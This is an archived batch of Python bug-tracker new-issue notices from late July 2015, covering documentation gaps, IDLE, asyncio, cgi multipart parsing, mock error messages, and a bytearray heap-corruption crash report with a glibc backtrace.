Added file: http://bugs.python.org/file40065/argparse-crash.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24754>
_______________________________________

From report at bugs.python.org  Thu Jul 30 12:03:38 2015
From: report at bugs.python.org (Marcin Szewczyk)
Date: Thu, 30 Jul 2015 10:03:38 +0000
Subject: [New-bugs-announce] [issue24755] asyncio.wrap_future undocumented
Message-ID: <1438250618.09.0.00442439827356.issue24755@psf.upfronthosting.co.za>


New submission from Marcin Szewczyk:

While asyncio.wrap_future is mentioned in PEP 3156 and has its docstring it is undocumented in the reference. run_in_executor is documented but doesn't mention wrap_future either.

$ grep -r wrap_future Doc; echo $?
1

----------
assignee: docs at python
components: Documentation
messages: 247659
nosy: docs at python, wodny
priority: normal
severity: normal
status: open
title: asyncio.wrap_future undocumented
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24755>
_______________________________________

From report at bugs.python.org  Thu Jul 30 15:27:10 2015
From: report at bugs.python.org (R. David Murray)
Date: Thu, 30 Jul 2015 13:27:10 +0000
Subject: [New-bugs-announce] [issue24756] doctest run_docstring_examples
 does have an obvious utility
Message-ID: <1438262830.97.0.532585638369.issue24756@psf.upfronthosting.co.za>


New submission from R. David Murray:

I propose that we remove the paragraph before 'run_docstring_exmaples' in the doctest docs.  It says that there's no intent to remove the function but that it is "rarely useful".  However, it is in fact *very* useful, for any code that also uses testmod.

For example, a module I just wrote has this:

    if __name__ == '__main__':
        import doctest
        flags = doctest.REPORT_NDIFF|doctest.FAIL_FAST
        if len(sys.argv) > 1:
            name = sys.argv[1]
            if name in globals():
                obj = globals()[name]
            else:
                obj = __test__[name]
            doctest.run_docstring_examples(obj, globals(), name=name,
                                           optionflags=flags)
        else:
            fail, total = doctest.testmod(optionflags=flags)
            print("{} failures out of {} tests".format(fail, total))


This makes the module its own test runner: if I get doctest failures, I can re-run a *specific* doctest while debugging the problem, and is the obvious application of run_docstring_examples.

The attached patch also clarifies the fact that it works on strings.  It also adds the above example to the soapbox section of the docs.  I'm less interested in that change than in the clarification that strings work :)

Someday perhaps I'll propose the addition of the equivalent to unittest.main for doctest.

----------
files: remove_doctest_run_docstring_examples_gloss.patch
keywords: patch
messages: 247667
nosy: r.david.murray
priority: normal
severity: normal
stage: patch review
status: open
title: doctest run_docstring_examples does have an obvious utility
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40067/remove_doctest_run_docstring_examples_gloss.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24756>
_______________________________________

From report at bugs.python.org  Thu Jul 30 19:55:15 2015
From: report at bugs.python.org (John Palermo)
Date: Thu, 30 Jul 2015 17:55:15 +0000
Subject: [New-bugs-announce] [issue24757] Installing Py on Windows: Need to
 restart or logout for path to be added
Message-ID: <1438278915.55.0.513516650833.issue24757@psf.upfronthosting.co.za>


New submission from John Palermo:

Something I suppose many new users could stumble over: After installing Python and trying out "pip" or "python" on the command line nothing is found. You have to re-start Windows or re-log into your account.

I suggest adding this information to the documentation here

https://docs.python.org/2/using/windows.html#installing-python

and also adding it to the Windows installer description for the "add Python to your path" option.

----------
assignee: docs at python
components: Documentation
messages: 247688
nosy: John Palermo, docs at python
priority: normal
severity: normal
status: open
title: Installing Py on Windows: Need to restart or logout for path to be added
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24757>
_______________________________________

From report at bugs.python.org  Thu Jul 30 21:07:05 2015
From: report at bugs.python.org (Randy Syring)
Date: Thu, 30 Jul 2015 19:07:05 +0000
Subject: [New-bugs-announce] [issue24758] unittest.mock.Mock's new "unsafe"
 feature needs a better error message
Message-ID: <1438283225.26.0.251368779344.issue24758@psf.upfronthosting.co.za>


New submission from Randy Syring:

In issue http://bugs.python.org/issue21238 a feature was introduced to help prevent false-positive test cases by throwing an AttributeError whenever a non-existent method prefixed with "assert_" is used on a mock object.

I had mock objects with legitimate "assert_*" methods that had been working for some time.  My tests included calls like:

my_mock.assert_in_status.assert_called_once_with(...)

My tests started failing unexpectedly and it took me HOURS to figure out that I had a new mock version installed.  Those hours could have been turned into seconds my simply giving a better error message, something like:

AttributeError: you used "assert_in_status" but that method is not a valid Mock assert method.  Please check your spelling.  If this was not a typing mistake, you can use the `unsafe` keyword argument to the Mock instance to turn this validation check off.  See https://mock-docs...org/ for more details.

----------
components: Library (Lib)
messages: 247690
nosy: Randy Syring
priority: normal
severity: normal
status: open
title: unittest.mock.Mock's new "unsafe" feature needs a better error message
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24758>
_______________________________________

From report at bugs.python.org  Fri Jul 31 00:18:35 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 30 Jul 2015 22:18:35 +0000
Subject: [New-bugs-announce] [issue24759] Idle: require 8.5 / ttk
Message-ID: <1438294715.65.0.966229055462.issue24759@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

PyShell currently has this code

try:
    from tkinter import *
except ImportError:
    print("** IDLE can't import Tkinter.\n"
          "Your Python may not be configured for Tk. **", file=sys.__stderr__)
    sys.exit(1)
import tkinter.messagebox as tkMessageBox

When Idle is started from an icon, there is no place for the error message to go, so it appears than nothing happens.  But this is the best we can do without invoking system specific error message functions.  (This, if possible, would be another issue.) The second import assumes that messagebox is available, which is should be without modification of the tkinter package since long ago.  But I think we should guard against someone trying to start Idle on pre 8.5.  The following seems to work nicely.  This is a prerequisite for any ttk patches.  Any comment before I apply?

try:
    from tkinter import ttk
except:
    root = Tk()
    root.withdraw()
    tkMessageBox.showerror("Fatal Idle Import Error",
            "Idle cannot import required module tkinter.ttk.\n"
            "Click OK to exit.",
            parent=root)
    sys.exit(1)

----------
assignee: terry.reedy
messages: 247701
nosy: markroseman, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Idle: require 8.5 / ttk
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24759>
_______________________________________

From report at bugs.python.org  Fri Jul 31 01:07:08 2015
From: report at bugs.python.org (Mark Roseman)
Date: Thu, 30 Jul 2015 23:07:08 +0000
Subject: [New-bugs-announce] [issue24760] IDLE settings dialog shouldn't be
	modal
Message-ID: <1438297628.71.0.179622085434.issue24760@psf.upfronthosting.co.za>


New submission from Mark Roseman:

Is there any reason the IDLE settings dialog is modal?

(Actually while it is modal on Windows and Linux, on OS X you can actually switch back to the main window while the settings dialog is up, but you can't actually type etc. into it!)

While I could probably ask the same question about all the other modal dialogs, let's start here. :-)

----------
components: IDLE
messages: 247707
nosy: markroseman, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE settings dialog shouldn't be modal
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24760>
_______________________________________

From report at bugs.python.org  Fri Jul 31 05:04:31 2015
From: report at bugs.python.org (Zhang Yun)
Date: Fri, 31 Jul 2015 03:04:31 +0000
Subject: [New-bugs-announce] [issue24761] ERROR: test_dh_params
	(test.test_ssl.ThreadedTests)
Message-ID: <1438311871.87.0.735210286554.issue24761@psf.upfronthosting.co.za>


Changes by Zhang Yun <cloud2han9 at 163.com>:


----------
components: Tests
files: test_ssl.log
nosy: cloud2han9
priority: normal
severity: normal
status: open
title: ERROR: test_dh_params (test.test_ssl.ThreadedTests)
versions: Python 3.4
Added file: http://bugs.python.org/file40077/test_ssl.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24761>
_______________________________________

From report at bugs.python.org  Fri Jul 31 07:13:36 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 31 Jul 2015 05:13:36 +0000
Subject: [New-bugs-announce] [issue24762] Branchless,
	vectorizable frozen set hash
Message-ID: <1438319616.07.0.333748315225.issue24762@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

Speed-up frozenset_hash().  Switching to an entry++ style loop instead of set_next() eliminates much of the loop overhead.  Removing the key=NULL or key==dummy checks eliminates the unpredictable branches and makes the loop vectorizable.  Those benefits outweigh the extra work of doing a multiplication for every row in set table rather than just the non-null, non-dummy entries.

To make sure the overall hash value is unchanged, there are two final clean-up steps to undo the effect of including dummy and null entries.

----------
assignee: serhiy.storchaka
components: Interpreter Core
files: fashhash_nobranch.diff
keywords: patch
messages: 247735
nosy: rhettinger, serhiy.storchaka
priority: low
severity: normal
stage: patch review
status: open
title: Branchless, vectorizable frozen set hash
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file40079/fashhash_nobranch.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24762>
_______________________________________

From report at bugs.python.org  Fri Jul 31 16:57:06 2015
From: report at bugs.python.org (Martin Richard)
Date: Fri, 31 Jul 2015 14:57:06 +0000
Subject: [New-bugs-announce] [issue24763] asyncio.BaseSubprocessTransport
 triggers an unavoidable ResourceWarning if process doesn't start
Message-ID: <1438354626.92.0.802065077035.issue24763@psf.upfronthosting.co.za>


New submission from Martin Richard:

An exception can be raised in SubprocessTransport.__init__() from SubprocessTransport._start() - for instance because an exception is raised in the preexec_fn callback.

In this case, the calling function never gets a reference to the transport object, and cannot close the transport. Hence, when the object is deleted, an "unclosed transport" ResourceWarning is always triggered.

Here is a test case showing this behavior:
import asyncio

loop = asyncio.get_event_loop()
try:
    loop.run_until_complete(asyncio.create_subprocess_exec('/doesntexist'))
except FileNotFoundError:
    pass
finally:
    loop.close()


I propose the attached patch as a solution, which call SubprocessTransport.close() when an exception is raised in SubprocessTransport._start() in the constructor.

----------
components: asyncio
files: transport_close_when_exception_init.patch
keywords: patch
messages: 247746
nosy: gvanrossum, haypo, martius, yselivanov
priority: normal
severity: normal
status: open
title: asyncio.BaseSubprocessTransport triggers an unavoidable ResourceWarning if process doesn't start
type: resource usage
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file40082/transport_close_when_exception_init.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24763>
_______________________________________

From report at bugs.python.org  Fri Jul 31 18:07:21 2015
From: report at bugs.python.org (Peter Landry)
Date: Fri, 31 Jul 2015 16:07:21 +0000
Subject: [New-bugs-announce] [issue24764] cgi.FieldStorage can't parse
 multipart part headers with Content-Length and no filename in
 Content-Disposition
Message-ID: <1438358841.56.0.603079767616.issue24764@psf.upfronthosting.co.za>


New submission from Peter Landry:

`cgi.FieldStorage` can't parse a multipart with a `Content-Length` header set on a part:

```Python 3.4.3 (default, May 22 2015, 15:35:46)
[GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.49)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import cgi
>>> from io import BytesIO
>>>
>>> BOUNDARY = "JfISa01"
>>> POSTDATA = """--JfISa01
... Content-Disposition: form-data; name="submit-name"
... Content-Length: 5
...
... Larry
... --JfISa01"""
>>> env = {
...     'REQUEST_METHOD': 'POST',
...     'CONTENT_TYPE': 'multipart/form-data; boundary={}'.format(BOUNDARY),
...     'CONTENT_LENGTH': str(len(POSTDATA))}
>>> fp = BytesIO(POSTDATA.encode('latin-1'))
>>> fs = cgi.FieldStorage(fp, environ=env, encoding="latin-1")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/cgi.py", line 571, in __init__
    self.read_multi(environ, keep_blank_values, strict_parsing)
  File "/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/cgi.py", line 726, in read_multi
    self.encoding, self.errors)
  File "/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/cgi.py", line 573, in __init__
    self.read_single()
  File "/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/cgi.py", line 736, in read_single
    self.read_binary()
  File "/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/cgi.py", line 758, in read_binary
    self.file.write(data)
TypeError: must be str, not bytes
>>>
```

This happens because of a mismatch between the code that creates a temp file to write to and the code that chooses to read in binary mode or not:

* the presence of `filename` in the `Content-Disposition` header triggers creation of a binary mode file
* the present of a `Content-Length` header for the part triggers a binary read

When `Content-Length` is present but `filename` is absent, `bytes` are written to the non-binary temp file, causing the error above.

I've reviewed the relevant RFCs, and I'm not really sure what the correct way to handle this is. I don't believe `Content-Length` is addressed for part bodies in the MIME spec[0], and HTTP has its own semantics[1].

At the very least, I think this behavior is confusing and unexpected. Some libraries, like Retrofit[2], will by default include `Content-Length`, and break when submitting POST data to a python server.

I've made an attempt to work in the way I'd expect, and attached a patch, but I'm really not sure if it's the proper decision. My patch kind of naively accepts the existing semantics of `Content-Length` that presume bytes, and treats the creation of a non-binary file as the "bug".

[0]: http://www.ietf.org/rfc/rfc2045.txt
[1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.4
[2]: http://square.github.io/retrofit/

----------
components: Library (Lib)
files: cgi_multipart.patch
keywords: patch
messages: 247751
nosy: Peter Landry, haypo
priority: normal
severity: normal
status: open
title: cgi.FieldStorage can't parse multipart part headers with Content-Length and no filename in Content-Disposition
versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40084/cgi_multipart.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24764>
_______________________________________

From report at bugs.python.org  Fri Jul 31 18:31:41 2015
From: report at bugs.python.org (jan parowka)
Date: Fri, 31 Jul 2015 16:31:41 +0000
Subject: [New-bugs-announce] [issue24765] Move .idlerc to %APPDATA%\IDLE on
	Windows
Message-ID: <1438360301.06.0.841690925135.issue24765@psf.upfronthosting.co.za>


New submission from jan parowka:

IDLE shouldn't pollute user's home directory on Windows, standard location for config files is %APPDATA%\<App>, which resolves to C:\Users\<user>\AppData\Roaming\<App> in Vista upwards and somewhere in Documents and Settings under XP.

----------
components: IDLE
messages: 247754
nosy: jan parowka
priority: normal
severity: normal
status: open
title: Move .idlerc to %APPDATA%\IDLE on Windows
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24765>
_______________________________________

From report at bugs.python.org  Fri Jul 31 19:02:03 2015
From: report at bugs.python.org (Erik Bray)
Date: Fri, 31 Jul 2015 17:02:03 +0000
Subject: [New-bugs-announce] [issue24766] Subclass of property doesn't
 preserve instance __doc__ when using doc= argument
Message-ID: <1438362123.61.0.0930515598899.issue24766@psf.upfronthosting.co.za>


New submission from Erik Bray:

This issue is directly related to http://bugs.python.org/issue5890, the solution to which I think was incomplete.

The examples below use a trivial subclass of property (but apply as well to a less trivial one):

>>> class myproperty(property): pass
...

When using myproperty with the decorator syntax, or simply without specifying a doc= argument, the docstring is properly inherited from the getter, as was fixed by issue5890:

>>> class A:
...     @myproperty
...     def foo(self):
...         """The foo."""
...         return 1
... 
>>> A.foo.__doc__
'The foo.'

However, when using the doc= argument, this behavior is broken:

>>> class B:
...     def _get_foo(self): return 1
...     foo = myproperty(_get_foo, doc="The foo.")
... 
>>> B.foo.__doc__
>>> B.foo.__doc__ is None
True


The attached patch resolves the issue by applying the special case for subclasses more generally.  If this looks good I'll add a test as well.

One thing I went back and forth on in the "if (Py_TYPE(self) != &PyProperty_Type)" block was whether or not to then deref prop->prop_doc and set it to NULL, since I don't think it's needed anymore at this point.  But I decided it was ultimately harmless to leave it.

----------
components: Interpreter Core
files: property-doc.patch
keywords: patch
messages: 247756
nosy: erik.bray
priority: normal
severity: normal
status: open
title: Subclass of property doesn't preserve instance __doc__ when using doc= argument
Added file: http://bugs.python.org/file40086/property-doc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24766>
_______________________________________

From report at bugs.python.org  Fri Jul 31 21:55:13 2015
From: report at bugs.python.org (Pat Riehecky)
Date: Fri, 31 Jul 2015 19:55:13 +0000
Subject: [New-bugs-announce] [issue24767] can concurrent.futures
 len(Executor) return the number of tasks?
Message-ID: <1438372513.29.0.46812629282.issue24767@psf.upfronthosting.co.za>


New submission from Pat Riehecky:

As a feature request, can the Executor respond to a len() request by showing the number of non-finished/non-canceled items in the pool?

I would like a clean pythonic way of seeing how many items remain to be executed and this seemed the way to go.

psudo-code:

    myvar = list(range(1, 30))

    pool = concurrent.futures.ThreadPoolExecutor(max_workers=2)
    results = pool.map(myfunction, myvar)

    for result in results:
        print("waiting for " + str(len(pool)) + " tasks to finish")

----------
components: Library (Lib)
messages: 247766
nosy: Pat Riehecky
priority: normal
severity: normal
status: open
title: can concurrent.futures len(Executor) return the number of tasks?
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24767>
_______________________________________

From report at bugs.python.org  Fri Jul 31 23:28:56 2015
From: report at bugs.python.org (pidpawel)
Date: Fri, 31 Jul 2015 21:28:56 +0000
Subject: [New-bugs-announce] [issue24768] Bytearray double free or corruption
Message-ID: <1438378136.69.0.00968657424449.issue24768@psf.upfronthosting.co.za>


New submission from pidpawel:

I've managed to isolate some code whish results in core dump/heap corruption. I've tested it on Python 3.4 and 2.7. On 2.7 works fine, on 3.4.3 bug exists.

Example backtraces:

? aqua ~ Error!
? <%pidpawel> time ./deltest.py
*** Error in `python3': malloc(): memory corruption: 0x0000000001ef0940 ***

Then process hangs, or:

? aqua ~ Error! 
? <%pidpawel> time ./deltest.py
*** Error in `python3': double free or corruption (!prev): 0x00000000009a7370 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x7233b)[0x7f90baca633b]
/lib64/libc.so.6(+0x7780e)[0x7f90bacab80e]
/lib64/libc.so.6(+0x77ffb)[0x7f90bacabffb]
/usr/lib64/libpython3.4.so.1.0(PyByteArray_Resize+0xd2)[0x7f90bb256c22]
/usr/lib64/libpython3.4.so.1.0(+0x6cc82)[0x7f90bb257c82]
/usr/lib64/libpython3.4.so.1.0(+0x6d5d0)[0x7f90bb2585d0]
/usr/lib64/libpython3.4.so.1.0(PyEval_EvalFrameEx+0xcb5)[0x7f90bb2f9be5]
/usr/lib64/libpython3.4.so.1.0(PyEval_EvalCodeEx+0x85e)[0x7f90bb3015ce]
/usr/lib64/libpython3.4.so.1.0(PyEval_EvalCode+0x3b)[0x7f90bb30169b]
/usr/lib64/libpython3.4.so.1.0(+0x1319e4)[0x7f90bb31c9e4]
/usr/lib64/libpython3.4.so.1.0(PyRun_FileExFlags+0x9d)[0x7f90bb31e99d]
/usr/lib64/libpython3.4.so.1.0(PyRun_SimpleFileExFlags+0x101)[0x7f90bb31f871]
/usr/lib64/libpython3.4.so.1.0(Py_Main+0xd6c)[0x7f90bb334f5c]
python3(main+0x169)[0x400b09]
/lib64/libc.so.6(__libc_start_main+0xf0)[0x7f90bac547b0]
python3[0x400bb6]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 7177593                            /usr/bin/python3.4
00601000-00602000 r--p 00001000 08:02 7177593                            /usr/bin/python3.4
00602000-00603000 rw-p 00002000 08:02 7177593                            /usr/bin/python3.4
008c0000-009d5000 rw-p 00000000 00:00 0                                  [heap]
7f90b94c9000-7f90b94df000 r-xp 00000000 08:02 4729096                    /usr/lib64/gcc/x86_64-pc-linux-gnu/4.9.3/libgcc_s.so.1
7f90b94df000-7f90b96de000 ---p 00016000 08:02 4729096                    /usr/lib64/gcc/x86_64-pc-linux-gnu/4.9.3/libgcc_s.so.1
7f90b96de000-7f90b96df000 r--p 00015000 08:02 4729096                    /usr/lib64/gcc/x86_64-pc-linux-gnu/4.9.3/libgcc_s.so.1
7f90b96df000-7f90b96e0000 rw-p 00016000 08:02 4729096                    /usr/lib64/gcc/x86_64-pc-linux-gnu/4.9.3/libgcc_s.so.1
7f90b96e0000-7f90b96e2000 r-xp 00000000 08:02 4255845                    /usr/lib64/python3.4/lib-dynload/_random.cpython-34.so
7f90b96e2000-7f90b98e2000 ---p 00002000 08:02 4255845                    /usr/lib64/python3.4/lib-dynload/_random.cpython-34.so
7f90b98e2000-7f90b98e3000 r--p 00002000 08:02 4255845                    /usr/lib64/python3.4/lib-dynload/_random.cpython-34.so
7f90b98e3000-7f90b98e4000 rw-p 00003000 08:02 4255845                    /usr/lib64/python3.4/lib-dynload/_random.cpython-34.so
7f90b98e4000-7f90b98f9000 r-xp 00000000 08:02 2496055                    /lib64/libz.so.1.2.8
7f90b98f9000-7f90b9af8000 ---p 00015000 08:02 2496055                    /lib64/libz.so.1.2.8
7f90b9af8000-7f90b9af9000 r--p 00014000 08:02 2496055                    /lib64/libz.so.1.2.8
7f90b9af9000-7f90b9afa000 rw-p 00015000 08:02 2496055                    /lib64/libz.so.1.2.8
7f90b9afa000-7f90b9d0d000 r-xp 00000000 08:02 4067396                    /usr/lib64/libcrypto.so.1.0.0
7f90b9d0d000-7f90b9f0c000 ---p 00213000 08:02 4067396                    /usr/lib64/libcrypto.so.1.0.0
7f90b9f0c000-7f90b9f2a000 r--p 00212000 08:02 4067396                    /usr/lib64/libcrypto.so.1.0.0
7f90b9f2a000-7f90b9f36000 rw-p 00230000 08:02 4067396                    /usr/lib64/libcrypto.so.1.0.0
7f90b9f36000-7f90b9f3a000 rw-p 00000000 00:00 0 
7f90b9f70000-7f90b9f75000 r-xp 00000000 08:02 4218152                    /usr/lib64/python3.4/lib-dynload/_hashlib.cpython-34.so
7f90b9f75000-7f90ba174000 ---p 00005000 08:02 4218152                    /usr/lib64/python3.4/lib-dynload/_hashlib.cpython-34.so
7f90ba174000-7f90ba175000 r--p 00004000 08:02 4218152                    /usr/lib64/python3.4/lib-dynload/_hashlib.cpython-34.so
7f90ba175000-7f90ba176000 rw-p 00005000 08:02 4218152                    /usr/lib64/python3.4/lib-dynload/_hashlib.cpython-34.so
7f90ba176000-7f90ba17e000 r-xp 00000000 08:02 4255848                    /usr/lib64/python3.4/lib-dynload/math.cpython-34.so
7f90ba17e000-7f90ba37d000 ---p 00008000 08:02 4255848                    /usr/lib64/python3.4/lib-dynload/math.cpython-34.so
7f90ba37d000-7f90ba37e000 r--p 00007000 08:02 4255848                    /usr/lib64/python3.4/lib-dynload/math.cpython-34.so
7f90ba37e000-7f90ba380000 rw-p 00008000 08:02 4255848                    /usr/lib64/python3.4/lib-dynload/math.cpython-34.so
7f90ba380000-7f90ba531000 rw-p 00000000 00:00 0 
7f90ba531000-7f90ba62c000 r-xp 00000000 08:02 2497839                    /lib64/libm-2.21.so
7f90ba62c000-7f90ba82b000 ---p 000fb000 08:02 2497839                    /lib64/libm-2.21.so
7f90ba82b000-7f90ba82c000 r--p 000fa000 08:02 2497839                    /lib64/libm-2.21.so
7f90ba82c000-7f90ba82d000 rw-p 000fb000 08:02 2497839                    /lib64/libm-2.21.so
7f90ba82d000-7f90ba82f000 r-xp 00000000 08:02 2497844                    /lib64/libutil-2.21.so
7f90ba82f000-7f90baa2e000 ---p 00002000 08:02 2497844                    /lib64/libutil-2.21.so
7f90baa2e000-7f90baa2f000 r--p 00001000 08:02 2497844                    /lib64/libutil-2.21.so
7f90baa2f000-7f90baa30000 rw-p 00002000 08:02 2497844                    /lib64/libutil-2.21.so
7f90baa30000-7f90baa32000 r-xp 00000000 08:02 2497833                    /lib64/libdl-2.21.so
7f90baa32000-7f90bac32000 ---p 00002000 08:02 2497833                    /lib64/libdl-2.21.so
7f90bac32000-7f90bac33000 r--p 00002000 08:02 2497833                    /lib64/libdl-2.21.so
7f90bac33000-7f90bac34000 rw-p 00003000 08:02 2497833                    /lib64/libdl-2.21.so
7f90bac34000-7f90badc6000 r-xp 00000000 08:02 2497854                    /lib64/libc-2.21.so
7f90badc6000-7f90bafc5000 ---p 00192000 08:02 2497854                    /lib64/libc-2.21.so
7f90bafc5000-7f90bafc9000 r--p 00191000 08:02 2497854                    /lib64/libc-2.21.so
7f90bafc9000-7f90bafcb000 rw-p 00195000 08:02 2497854                    /lib64/libc-2.21.so
7f90bafcb000-7f90bafcf000 rw-p 00000000 00:00 0 
7f90bafcf000-7f90bafe6000 r-xp 00000000 08:02 2497856                    /lib64/libpthread-2.21.so
7f90bafe6000-7f90bb1e5000 ---p 00017000 08:02 2497856                    /lib64/libpthread-2.21.so
7f90bb1e5000-7f90bb1e6000 r--p 00016000 08:02 2497856                    /lib64/libpthread-2.21.so
7f90bb1e6000-7f90bb1e7000 rw-p 00017000 08:02 2497856                    /lib64/libpthread-2.21.so
7f90bb1e7000-7f90bb1eb000 rw-p 00000000 00:00 0 
7f90bb1eb000-7f90bb3fc000 r-xp 00000000 08:02 4072268                    /usr/lib64/libpython3.4.so.1.0
7f90bb3fc000-7f90bb5fc000 ---p 00211000 08:02 4072268                    /usr/lib64/libpython3.4.so.1.0
7f90bb5fc000-7f90bb5fe000 r--p 00211000 08:02 4072268                    /usr/lib64/libpython3.4.so.1.0
7f90bb5fe000-7f90bb65a000 rw-p 00213000 08:02 4072268                    /usr/lib64/libpython3.4.so.1.0
7f90bb65a000-7f90bb675000 rw-p 00000000 00:00 0 
7f90bb675000-7f90bb697000 r-xp 00000000 08:02 2497855                    /lib64/ld-2.21.so
7f90bb6b6000-7f90bb85a000 r--p 00000000 08:02 4590880                    /usr/lib64/locale/locale-archive
7f90bb85a000-7f90bb85f000 rw-p 00000000 00:00 0 
7f90bb88d000-7f90bb88e000 rw-p 00000000 00:00 0 
7f90bb88e000-7f90bb895000 r--s 00000000 08:02 4343229                    /usr/lib64/gconv/gconv-modules.cache
7f90bb895000-7f90bb896000 rw-p 00000000 00:00 0 
7f90bb896000-7f90bb897000 r--p 00021000 08:02 2497855                    /lib64/ld-2.21.so
7f90bb897000-7f90bb898000 rw-p 00022000 08:02 2497855                    /lib64/ld-2.21.so
7f90bb898000-7f90bb899000 rw-p 00000000 00:00 0 
7fff3a184000-7fff3a1a5000 rw-p 00000000 00:00 0                          [stack]
7fff3a1c4000-7fff3a1c6000 r--p 00000000 00:00 0                          [vvar]
7fff3a1c6000-7fff3a1c8000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
zsh: abort      ./deltest.py
./deltest.py  0,06s user 0,01s system 97% cpu 0,075 total

----------
components: Interpreter Core
files: deltest.py
messages: 247774
nosy: pidpawel
priority: normal
severity: normal
status: open
title: Bytearray double free or corruption
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file40087/deltest.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24768>
_______________________________________